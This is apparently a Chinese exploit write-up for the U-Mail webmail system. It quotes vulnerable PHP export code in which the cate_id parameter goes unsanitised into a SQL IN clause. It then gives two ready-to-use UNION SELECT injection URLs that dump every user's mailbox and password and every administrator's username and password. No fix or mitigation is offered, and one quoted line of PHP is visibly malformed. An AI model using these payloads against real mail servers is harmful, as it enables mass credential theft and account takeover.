U-Mail邮件服务系统存在漏洞可获取所有用户密码

/client/cab/module/operates.php
[php]
................
if ( ACTION == "customer-export" )
{
$cate_id = gss( $_GET['cate_id'] ) ? gss( $_GET['cate_id'] ) : "-1"; //获取cate_id
if ( $cate_id )
{
$data_cache = $CAB->getCategoryByDomainID( $domain_id, 0 );
$where = "domain_id='".$domain_id."'";
if ( $cate_id == "-1" )
{
$cate_id = 0;
}
if ( $cate_id )
{
$Tree = $CAB->getTreeObject( );
$Tree->set_data_cache( $data_cache );
$Tree->sort_data( -1, 1 );
$cate_ids = $Tree->get_child_id( $cate_id );
$where .= " AND cate_id IN (".$cate_ids.")"; //直接带入了where in
}
$customer_list = $CAB->get_customer( array(
"fields" => "*",
"where" => $where,
"debug" => 0
) );
$cate_list = create_array $data_cache, "cate_id", "name" );
$string = "/"".el( "名称", "" )."/",/"".el( "邮箱", "" )."/",/"".el( "电话号码", "" )."/",/"".el( "分类", "" )."/",/"".el( "备注", "" )."/",/"".el( "生日", "" )."/",/"".el( "性别", "" )."/",/"".el( "单位电话", "" )."/",/"".el( "住宅电话", "" )."/",/"".el( "QQ", "" )."/",/"".el( "MSN", "" )."/"/n";
if ( $customer_list )
{
foreach ( $customer_list as $user )
{
$string .= "/"".$user['fullname']."/",";
$string .= "/"".$user['pref_email']."/",";
$string .= "/"".$user['pref_tel']."/",";
$string .= "/"".$cate_list[$user['cate_id']]."/",";
$string .= "/"".$user['remark']."/",";
$string .= "/"".$user['birthday']."/",";
$string .= "/"".$user['gender']."/",";
$string .= "/"".$user['work_tel']."/",";
$string .= "/"".$user['home_tel']."/",";
$string .= "/"".$user['im_qq']."/",";
$string .= "/"".$user['im_msn']."/",";
$string .= "/r/n";
}
}
}
if ( get_session( "language" ) == "zh" )
{
$out_data = iconv( "UTF-8", "GBK", $string );
}
else
{
$out_data = $string;
}
header( "Content-type: text/plain" );
header( "Content-Disposition: attachment; filename=Address.csv" );
header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header( "Expires: 0" );
header( "Pragma: public" );
echo $out_data;
exit( );
}
...............
?>
[/php]
$where .= " AND cate_id IN (".$cate_ids.")";

带入查询。
[php]
http://192.168.0.119/webmail/client/cab/index.php?module=operate&action=customer-export&cate_id=0) union select 1,2,3,mailbox,5,6,password,8,9,10,11,12,13,14,15 from userlist%23
[/php]

超级管理员在这个表,同样一键脱下所有
[php]
http://192.168.0.119/webmail/client/cab/index.php?module=operate&action=customer-export&cate_id=0) union select 1,2,3,usr_name,5,6,password,8,9,10,11,12,13,14,15 from web_usr%23
[/php]